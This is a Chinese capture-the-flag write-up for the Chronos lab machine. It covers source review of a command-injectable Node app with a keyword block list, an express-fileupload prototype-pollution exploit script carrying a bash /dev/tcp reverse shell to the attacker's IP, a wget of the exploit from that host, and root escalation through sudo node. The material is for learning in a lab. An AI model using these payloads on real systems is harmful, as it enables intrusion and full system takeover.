www-data@chronos:/opt/chronos$ ls -alh ls -alh total 60K drwxr-xr-x 3 www-data www-data 4.0K Oct 26 01:34 . drwxr-xr-x 4 root root 4.0K Jul 30 2021 .. -rw-r--r-- 1 www-data www-data 1.4K Aug 3 2021 app.js -rw-r--r-- 1 www-data www-data 45 Oct 26 01:36 a.sh drwxr-xr-x 56 www-data www-data 4.0K Jul 30 2021 node_modules -rw-r--r-- 1 www-data www-data 97 Jul 30 2021 package.json -rw-r--r-- 1 www-data www-data 33K Jul 30 2021 package-lock.json
- 我们应该处在某个 Web 应用的目录中,之前端口查看时知道是使用
Node.js
技术,可以推断出此程序是其开发的 - 对于 Node.js 应用,我们应该关注
package.json
文件,它是管理包依赖已经应用配置信息的文件
探索当前的 Node.js 应用
www-data@chronos:/opt/chronos$ cat package.json cat package.json { "dependencies": { "bs58": "^4.0.1", "cors": "^2.8.5", "express": "^4.17.1" } }
-
dependencies 是一个蕴含依赖包名的数组对象
-
我们就可以从其引入的三个包下手,查它们存在的漏洞
- bs58 眼熟吗?想到前面的 base58 加密了吗?对于它想提升权限帮助不大
- cors 模块解析 作用 主要用来解决客户端请求与服务端的跨域问题,对于它想提升权限帮助不大
- express 相较于原生的http模块做了较好的扩展工作,让开发者可以高效地进行服务器业务开发,对于有用漏洞就应该存在于此
查看 app.js 了解其运行流程
// created by alienum for Penetration Testing const express = require('express'); const { exec } = require("child_process"); const bs58 = require('bs58'); const app = express(); const port = 8000; const cors = require('cors'); app.use(cors()); app.get('/', (req,res) =>{ res.sendFile("/var/www/html/index.html"); }); app.get('/date', (req, res) => { var agent = req.headers['user-agent']; var cmd = 'date '; // 开始构建命令语句 const format = req.query.format; const bytes = bs58.decode(format); var decoded = bytes.toString(); var concat = cmd.concat(decoded); if (agent === 'Chronos') { if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) { res.send("Something went wrong"); } // 执行命令,利用关键 exec(concat, (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } res.send(stdout); }); } else{ res.send("Permission Denied"); } }) app.listen(port,() => { console.log(`Server running at ${port}`); })
- 发现之前漏洞注入的关键就在此处
concat
变量,是构建的 shell 命令 - 可以是此应用依旧是以此用户创建的,权限有限
我们到上层目录查看一下 /opt
还有没有其他应用
www-data@chronos:/opt/chronos$ ls -alh /opt ls -alh /opt total 16K drwxr-xr-x 4 root root 4.0K Jul 30 2021 . drwxr-xr-x 23 root root 4.0K Jul 29 2021 .. drwxr-xr-x 3 www-data www-data 4.0K Oct 26 01:34 chronos drwxr-xr-x 4 root root 4.0K Aug 3 2021 chronos-v2 www-data@chronos:/opt/chronos$ ls -alh /opt/chronos-v2 ls -alh /opt/chronos-v2 total 20K drwxr-xr-x 4 root root 4.0K Aug 3 2021 . drwxr-xr-x 4 root root 4.0K Jul 30 2021 .. drwxr-xr-x 3 root root 4.0K Aug 3 2021 backend drwxr-xr-x 3 root root 4.0K Aug 3 2021 frontend -rw-r--r-- 1 root root 381 Aug 3 2021 index.html www-data@chronos:/opt/chronos$ ls -alh /opt/chronos-v2/backend ls -alh /opt/chronos-v2/backend total 64K drwxr-xr-x 3 root root 4.0K Aug 3 2021 . drwxr-xr-x 4 root root 4.0K Aug 3 2021 .. drwxr-xr-x 71 root root 4.0K Aug 3 2021 node_modules -rw-r--r-- 1 root root 296 Jul 29 2021 package.json -rw-r--r-- 1 root root 43K Aug 3 2021 package-lock.json -rw-r--r-- 1 root root 505 Aug 3 2021 server.js
- 发现存在一个名称与
chronos
很像的应用chronos-v2
而且它是 root 权限 - 在
/opt/chronos-v2
核实雀实是一个 Web 应用,它有两个目录从名称上是后端与前端的意思 - 重点是
backend
后端,其中目录结构与/opt/chronos
十分相似
分别查看 package.json
和 server.js
{ "name": "some-website", "version": "1.0.0", "description": "", "main": "server.js", "scripts": { "start": "node server.js" }, "author": "", "license": "ISC", "dependencies": { "ejs": "^3.1.5", "express": "^4.17.1", "express-fileupload": "^1.1.7-alpha.3" } }
const express = require('express'); const fileupload = require("express-fileupload"); const http = require('http') const app = express(); app.use(fileupload({ parseNested: true })); app.set('view engine', 'ejs'); app.set('views', "/opt/chronos-v2/frontend/pages"); app.get('/', (req, res) => { res.render('index') }); const server = http.Server(app); const addr = "127.0.0.1" const port = 8080; server.listen(port, addr, () => { console.log('Server listening on ' + addr + ' port ' + port); })
-
package.json
指明了服务端运作文件是server.js
涉及三个模块- ejs 模块是嵌入式 JavaScript 模板引擎
- express 与之前相同
- express-fileupload 模块 express 框架下使用的中间件,用于文件上传
-
server.js
显示运行时监听的是靶机的本地127.0.0.1
8080 端口
通过网络搜查发现漏洞关键是 express-fileupload 的中,关于漏洞的原博客 https://blog.p6.is/Real-World-JS-1/
其中对漏洞利用的 Python 脚本
import requests # 是 Kali 的监听端口及IP cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.111/5555 0>&1"' # 其中 IP 与端口是 server.js 中的 # pollute requests.post( 'http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x") } ) # execute command requests.get('http://127.0.0.1:8080')
-
注意对脚本的内容做修改,并且脚本是在靶机上执行
-
可以通过在 Kali 上使用 python3 的 http.server 然后在靶机上通过 wget 下载
www-data@chronos:/opt/chronos$ cd /tmp cd /tmp www-data@chronos:/tmp$ ls ls systemd-private-b18aa97a388a4208b11b80f093956ed0-apache2.service-VKV6aU systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-resolved.service-9ejNK3 systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-timesyncd.service-5S27fr www-data@chronos:/tmp$ wget http://192.168.56.111/exp.py wget http://192.168.56.111/exp.py --2022-10-26 05:18:08-- http://192.168.56.111/exp.py Connecting to 192.168.56.111:80... connected. HTTP request sent, awaiting response... 200 OK Length: 391 [text/x-python] Saving to: ‘exp.py’ 0K 100% 395K=0.001s 2022-10-26 05:18:08 (395 KB/s) - ‘exp.py’ saved [391/391] www-data@chronos:/tmp$ ls ls exp.py systemd-private-b18aa97a388a4208b11b80f093956ed0-apache2.service-VKV6aU systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-resolved.service-9ejNK3 systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-timesyncd.service-5S27fr
在执行脚本前,我们先开起kali 的 netcat 监听
┌──(kali㉿kali)-[~] └─$ netcat -lvp 5555 listening on [any] 5555 ... connect to [192.168.56.111] from chronos.local [192.168.56.113] 59462 bash: cannot set terminal process group (777): Inappropriate ioctl for device bash: no job control in this shell imera@chronos:/opt/chronos-v2/backend$ ls ls node_modules package.json package-lock.json server.js imera@chronos:/opt/chronos-v2/backend$ cd ~ cd ~ imera@chronos:~$ ls ls user.txt imera@chronos:~$ cat user.txt cat user.txt byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK imera@chronos:~$
- 发现获取的是 chronos
- 那么我们可以查看一下之前的 user.txt 文件
看来我们需要进行二段提取,我们通过使用 sudo -l
imera@chronos:~$ sudo -l sudo -l Matching Defaults entries for imera on chronos: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User imera may run the following commands on chronos: (ALL) NOPASSWD: /usr/local/bin/npm * (ALL) NOPASSWD: /usr/local/bin/node *
- 此处我们可以使用 node 进行提权
使用 sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
imera@chronos:~$ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})' <ild_process.spawn("/bin/bash", {stdio: [0, 1, 2]})' id uid=0(root) gid=0(root) groups=0(root)
第二个 flag
cd /root ls root.txt cat root.txt YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
完成
两个 flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
解密
o chronos pernaei file mou. apopse siopi mazeuoume oneira.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了